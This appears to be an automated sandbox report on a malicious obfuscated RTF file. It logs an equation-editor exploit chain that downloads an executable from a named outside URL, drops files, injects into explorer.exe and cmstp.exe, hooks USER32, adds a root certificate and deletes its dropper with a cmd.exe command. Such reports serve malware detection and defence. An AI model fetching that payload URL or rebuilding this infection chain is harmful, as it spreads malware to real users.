Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: String function: 0089373B appears 253 times
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: String function: 0040F880 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: String function: 00893F92 appears 132 times
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: String function: 0084E2A8 appears 60 times
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: String function: 01ECDF5C appears 137 times
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: String function: 01F3F970 appears 84 times
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: String function: 01ECE2A8 appears 60 times
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: String function: 01F1373B appears 253 times
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: String function: 01F13F92 appears 132 times

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A320 NtCreateFile,	7_2_0041A320
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A3D0 NtReadFile,	7_2_0041A3D0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A450 NtClose,	7_2_0041A450
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A500 NtAllocateVirtualMemory,	7_2_0041A500
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A3CA NtReadFile,	7_2_0041A3CA
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A44A NtClose,	7_2_0041A44A
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008400C4 NtCreateFile,LdrInitializeThunk,	7_2_008400C4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00840048 NtProtectVirtualMemory,LdrInitializeThunk,	7_2_00840048
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00840078 NtResumeThread,LdrInitializeThunk,	7_2_00840078
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083F9F0 NtClose,LdrInitializeThunk,	7_2_0083F9F0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083F900 NtReadFile,LdrInitializeThunk,	7_2_0083F900
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_0083FAD0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FAE8 NtQueryInformationProcess,LdrInitializeThunk,	7_2_0083FAE8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FBB8 NtQueryInformationToken,LdrInitializeThunk,	7_2_0083FBB8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FB68 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_0083FB68
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FC90 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_0083FC90
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FC60 NtMapViewOfSection,LdrInitializeThunk,	7_2_0083FC60
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FD8C NtDelayExecution,LdrInitializeThunk,	7_2_0083FD8C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FDC0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_0083FDC0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FEA0 NtReadVirtualMemory,LdrInitializeThunk,	7_2_0083FEA0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	7_2_0083FED0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FFB4 NtCreateSection,LdrInitializeThunk,	7_2_0083FFB4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00840060 NtQuerySection,	7_2_00840060
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008401D4 NtSetValueKey,	7_2_008401D4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0084010C NtOpenDirectoryObject,	7_2_0084010C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008407AC NtCreateMutant,	7_2_008407AC
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00840C40 NtGetContextThread,	7_2_00840C40
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008410D0 NtOpenProcessToken,	7_2_008410D0
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00841148 NtOpenThread,	7_2_00841148
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083F8CC NtWaitForSingleObject,	7_2_0083F8CC
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00841930 NtSetContextThread,	7_2_00841930
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083F938 NtWriteFile,	7_2_0083F938
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FAB8 NtQueryValueKey,	7_2_0083FAB8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FA20 NtQueryInformationFile,	7_2_0083FA20
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FA50 NtEnumerateValueKey,	7_2_0083FA50
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FBE8 NtQueryVirtualMemory,	7_2_0083FBE8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FB50 NtCreateKey,	7_2_0083FB50
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FC30 NtOpenProcess,	7_2_0083FC30
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FC48 NtSetInformationFile,	7_2_0083FC48
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00841D80 NtSuspendThread,	7_2_00841D80
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FD5C NtEnumerateKey,	7_2_0083FD5C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FE24 NtWriteVirtualMemory,	7_2_0083FE24
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FFFC NtCreateProcessEx,	7_2_0083FFFC
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0083FF34 NtQueueApcThread,	7_2_0083FF34
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA7E12 NtProtectVirtualMemory,	8_2_08CA7E12
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA6232 NtCreateFile,	8_2_08CA6232
Source: C:\Windows\explorer.exe	Code function: 8_2_08CA7E0A NtProtectVirtualMemory,	8_2_08CA7E0A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC00C4 NtCreateFile,LdrInitializeThunk,	9_2_01EC00C4
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC07AC NtCreateMutant,LdrInitializeThunk,	9_2_01EC07AC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBF9F0 NtClose,LdrInitializeThunk,	9_2_01EBF9F0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBF900 NtReadFile,LdrInitializeThunk,	9_2_01EBF900
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFBB8 NtQueryInformationToken,LdrInitializeThunk,	9_2_01EBFBB8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFB68 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_01EBFB68
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFB50 NtCreateKey,LdrInitializeThunk,	9_2_01EBFB50
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFAE8 NtQueryInformationProcess,LdrInitializeThunk,	9_2_01EBFAE8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	9_2_01EBFAD0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFAB8 NtQueryValueKey,LdrInitializeThunk,	9_2_01EBFAB8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFDC0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_01EBFDC0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFD8C NtDelayExecution,LdrInitializeThunk,	9_2_01EBFD8C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFC60 NtMapViewOfSection,LdrInitializeThunk,	9_2_01EBFC60
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFFB4 NtCreateSection,LdrInitializeThunk,	9_2_01EBFFB4
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	9_2_01EBFED0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC01D4 NtSetValueKey,	9_2_01EC01D4
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC010C NtOpenDirectoryObject,	9_2_01EC010C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC0060 NtQuerySection,	9_2_01EC0060
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC0078 NtResumeThread,	9_2_01EC0078
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC0048 NtProtectVirtualMemory,	9_2_01EC0048
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC0C40 NtGetContextThread,	9_2_01EC0C40
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC1148 NtOpenThread,	9_2_01EC1148
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC10D0 NtOpenProcessToken,	9_2_01EC10D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBF938 NtWriteFile,	9_2_01EBF938
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC1930 NtSetContextThread,	9_2_01EC1930
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBF8CC NtWaitForSingleObject,	9_2_01EBF8CC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFBE8 NtQueryVirtualMemory,	9_2_01EBFBE8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFA50 NtEnumerateValueKey,	9_2_01EBFA50
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFA20 NtQueryInformationFile,	9_2_01EBFA20
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EC1D80 NtSuspendThread,	9_2_01EC1D80
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFD5C NtEnumerateKey,	9_2_01EBFD5C
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFC90 NtUnmapViewOfSection,	9_2_01EBFC90
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFC48 NtSetInformationFile,	9_2_01EBFC48
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFC30 NtOpenProcess,	9_2_01EBFC30
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFFFC NtCreateProcessEx,	9_2_01EBFFFC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFF34 NtQueueApcThread,	9_2_01EBFF34
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFEA0 NtReadVirtualMemory,	9_2_01EBFEA0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EBFE24 NtWriteVirtualMemory,	9_2_01EBFE24
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AA320 NtCreateFile,	9_2_000AA320
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AA3D0 NtReadFile,	9_2_000AA3D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AA450 NtClose,	9_2_000AA450
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AA500 NtAllocateVirtualMemory,	9_2_000AA500
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AA3CA NtReadFile,	9_2_000AA3CA
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_000AA44A NtClose,	9_2_000AA44A

Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$curiteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winRTF@429/12@5/4

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	ReversingLabs: Detection: 48%
Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	Virustotal: Detection: 55%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\twbcaze.exe "C:\Users\user\AppData\Local\Temp\twbcaze.exe"
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process created: C:\Users\user\AppData\Local\Temp\twbcaze.exe C:\Users\user\AppData\Local\Temp\twbcaze.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Source: C:\Windows\SysWOW64\cmstp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\twbcaze.exe"
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\twbcaze.exe "C:\Users\user\AppData\Local\Temp\twbcaze.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process created: C:\Users\user\AppData\Local\Temp\twbcaze.exe C:\Users\user\AppData\Local\Temp\twbcaze.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\twbcaze.exe"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR66FC.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00402053 CoCreateInstance,MultiByteToWideChar,

5_2_00402053

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

5_2_00404292

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Command line argument: tvxyldblemyhw

6_2_00401000

Source: EQNEDT32.EXE	String found in binary or memory: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe
Source: EQNEDT32.EXE	String found in binary or memory: http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe
Source: EQNEDT32.EXE	String found in binary or memory: tps://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe
Source: EQNEDT32.EXE	String found in binary or memory: /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe
Source: EQNEDT32.EXE	String found in binary or memory: T /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1
Source: EQNEDT32.EXE	String found in binary or memory: tp://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: wntdll.pdb source: twbcaze.exe, twbcaze.exe, 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, twbcaze.exe, 00000007.00000003.353742446.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, twbcaze.exe, 00000007.00000003.353487923.0000000000430000.00000004.00000020.00020000.00000000.sdmp, twbcaze.exe, 00000007.00000002.363230284.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 00000009.00000003.363443838.0000000001D20000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 00000009.00000002.879405399.0000000002030000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 00000009.00000003.363187187.0000000001BC0000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmstp.pdb source: twbcaze.exe, 00000007.00000002.363156888.00000000002A0000.00000040.10000000.00040000.00000000.sdmp, twbcaze.exe, 00000007.00000002.363191563.00000000005B4000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 00000009.00000002.879251773.00000000000D0000.00000040.80000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Unpacked PE file: 7.2.twbcaze.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.00cfg:R;.tls:W;.voltbl:R; vs .text:ER;

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A6D32 push ecx; ret	2_2_002A6D33
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00294236 push es; retf	2_2_00294237
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00294F08 pushad ; retf 002Ah	2_2_00294F09
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A4562 push es; retf	2_2_002A4563
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A5865 push FFFFFFB1h; ret	2_2_002A5867
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00290142 push es; iretd	2_2_00290169
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00294EE8 pushad ; retf 002Ah	2_2_00294EE9
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A67EE push esp; ret	2_2_002A67EF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A67E6 push esp; ret	2_2_002A67E7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A82E6 push ebp; ret	2_2_002A82E7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A84F8 push ebp; ret	2_2_002A84FB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002901F4 push eax; retf	2_2_002901F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A7CC8 push esp; ret	2_2_002A7CCB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A75C9 push esp; ret	2_2_002A75CB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A7CD0 push esp; ret	2_2_002A7CD3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_002A82D4 push ebp; ret	2_2_002A82DF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0029A5D6 push es; retf	2_2_0029A5D7
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0040FA51 push ecx; ret	6_2_0040FA64
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00416A89 push eax; retf	7_2_00416A8A
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041A31B push eax; retf	7_2_0041A31C
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041C3A6 push es; iretd	7_2_0041C3AA
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041D475 push eax; ret	7_2_0041D4C8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041D4C2 push eax; ret	7_2_0041D4C8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041D4CB push eax; ret	7_2_0041D532
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00417CAD pushad ; ret	7_2_00417CAE
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041D52C push eax; ret	7_2_0041D532
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_004176C2 pushad ; iretd	7_2_004176C3
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0041EFF7 push dword ptr [98C25110h]; ret	7_2_0041F073
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_0084DFA1 push ecx; ret	7_2_0084DFB4
Source: C:\Windows\explorer.exe	Code function: 8_2_0818C9B5 push esp; retn 0000h	8_2_0818CAE7
Source: C:\Windows\explorer.exe	Code function: 8_2_0818CB1E push esp; retn 0000h	8_2_0818CB1F

Source: twbcaze.exe.5.dr	Static PE information: section name: .00cfg
Source: twbcaze.exe.5.dr	Static PE information: section name: .voltbl

Source: C:\Users\user\AppData\Roaming\word.exe	File created: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\balokarat2.1[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\word.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xEF

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
